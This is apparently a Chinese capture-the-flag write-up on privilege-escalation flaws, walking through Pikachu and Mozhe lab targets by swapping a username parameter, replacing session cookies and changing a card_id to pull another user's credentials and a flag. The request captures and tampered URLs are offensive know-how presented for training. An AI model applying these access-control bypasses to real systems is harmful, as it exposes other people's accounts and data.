逻辑越权之水平垂直越权

1.水平越权

通过替换身份标识(如ID),使A账号访问或操作相同权限的B账号的数据。

2.逻辑越权

低权限账号发送高权限请求,从而执行高权限操作。

3.未授权访问

删除请求中的认证信息后,仍能访问或执行受限操作。

pikachu说的是:

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守:

1.使用最小权限原则对用户进行赋权;

2.使用合理(严格)的权限校验规则;

3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

你可以通过"Over permission"对应的测试栏目,来进一步的了解该漏洞。

1.水平越权

测试账号:

lucy/123456,lili/123456,kobe/123456

使用其中一个登录,这里我用的老大kobe/123456

http://pikachu:8000/vul/overpermission/op1/op1_mem.php

进入后url:http://pikachu:8000/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

对比前面的url发现:这里多了个?username=kobe和靶场自身的提示lucy/123456,lili/123456,kobe/123456

尝试把kobe换成其中的这两个其中之一试试

http://pikachu:8000/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

发现实现了同阶级的水平越权,得到了lili的信息

2.垂直越权

原本的url:http://pikachu:8000/vul/overpermission/op2/op2_login.php

得到提示:这里有两个用户admin/123456,pikachu/000000,admin是超级boss

输入一个账号进去看到会员admin管理员的后台:

然后在输入pikachu的

分别转包两个人的数据包看看

发现这两个的区别是:

用户身份不同

第一条:username=admin&password=123456 - 尝试以管理员账户登录

第二条:username=pikachu&password=000000 - 尝试以普通用户账户登录

会话Cookie不同

第一条:PHPSESSID=28f3b0a4b4205e89cb5cec9a1a95ba4c

第二条:PHPSESSID=ff3c3da8ca09c32df1b50e745e445f54

然后我想用pikachu用户来添加数据从而实现越权的实现

尝试修改pikachu的cooike改成admin用户的cooike然后来看是否能够实现添加数据

先用admin用户来添加数据,抓个他的包

此时的PHPSESSID=0f29e2e392b295f5eb34ddb63d6a0ec5

然后把PHPSESSID=0f29e2e392b295f5eb34ddb63d6a0ec5换成普通用户的PHPSESSID=ff3c3da8ca09c32df1b50e745e445f54

发现了两条数据

说明成功

3.墨者水平-身份认证失效漏洞实战(漏洞成因)

使用bp的authz工具来实现判断是否存在越权漏洞然后再来找flag

1.这道题 **请获取钻石代理"马春生"的个人信息!**已知系统测试账户(test/test)。

2.有越权这种漏洞(因为你测试用户想要去得到管理员用户的数据一般来说是不可能实现的)

输入前的url:http://119.3.165.128:43491/index.php?a=login

输入test用户的:http://119.3.165.128:43491/user_info.php

3.抓包看见:

Cookie: uid=test; mid=6927071f788211ee17211be0b89ef1e6; PHPSESSID=9dqovqtj6pc63h9i2rmcq3n4e3

Upgrade-Insecure-Requests: 1

Priority: u=0, i

user=test&password=test&login_submit=

Cookie: uid=test; mid=6927071f788211ee17211be0b89ef1e6; PHPSESSID=9dqovqtj6pc63h9i2rmcq3n4e3

这两个很有可能是关键,因为我输入的test,uid的值就是test,然后这个mid是啥,可以去修改试试

4.在url中输入不同的uid,mid,card_id

知道test的card_id然后查看

<img src="static/img/20128880316.jpg" width="50" height="50" title="钻石代理">

更改card_id值为20128880316发包得到账号和密码

解码得到账号和密码:

  • m233241
  • 9732343

尝试登录

得到key:

|----------------------------------|
| mozheb9af3a7dca5f24fc306d511de0e |

相关推荐
ShoreKiten1 天前
ctfshow-web257【保姆级wp】
php·web
菩提小狗1 天前
SQL注入之sqlmap|web安全|渗透测试|网络安全
数据库·sql·web安全
zhengfei6111 天前
【Slack 安全工具箱】—— 多维度一体化安全管理平台
网络·安全·web安全
菩提小狗1 天前
sqlmap输入命令回车自动退出故障排查
笔记·安全·web安全
军哥系统集成号1 天前
2026网络安全法修订落地:企业六类法定强制评估合规指南(附协同实施路径)
网络·安全·web安全
这就是佬们吗1 天前
告别 Node.js 版本冲突:NVM 安装与使用全攻略
java·linux·前端·windows·node.js·mac·web
晓幂1 天前
【2025】HECTF
笔记·学习·web安全
上海云盾-高防顾问1 天前
中小企业低成本渗透测试实操指南
网络协议·web安全·网络安全
heartbeat..2 天前
Spring MVC 全面详解(Java 主流 Web 开发框架)
java·网络·spring·mvc·web
Bug.ink2 天前
BUUCTF——WEB(7)
web安全·网络安全·buuctf